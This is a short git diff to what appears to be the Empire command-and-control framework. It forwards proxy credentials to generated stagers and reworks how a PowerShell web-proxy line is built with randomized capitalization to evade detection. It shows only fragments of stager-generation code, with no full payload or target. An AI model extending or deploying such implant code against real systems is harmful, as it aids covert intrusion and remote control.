diff --git a/lib/common/empire.py b/lib/common/empire.py index 4882b8c..758d838 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3012,6 +3012,7 @@ class ListenersMenu(SubMenu): stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] if self.mainMenu.obfuscate: stager.options['Obfuscate']['Value'] = "True" else: diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 9f2f201..59548bc 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -329,7 +329,9 @@ class Listener: stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy - stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');") + stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") + stager += proxy.lower() + stager += helpers.randomize_capitalization("');") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() != 'none': if proxyCreds.lower() == "default":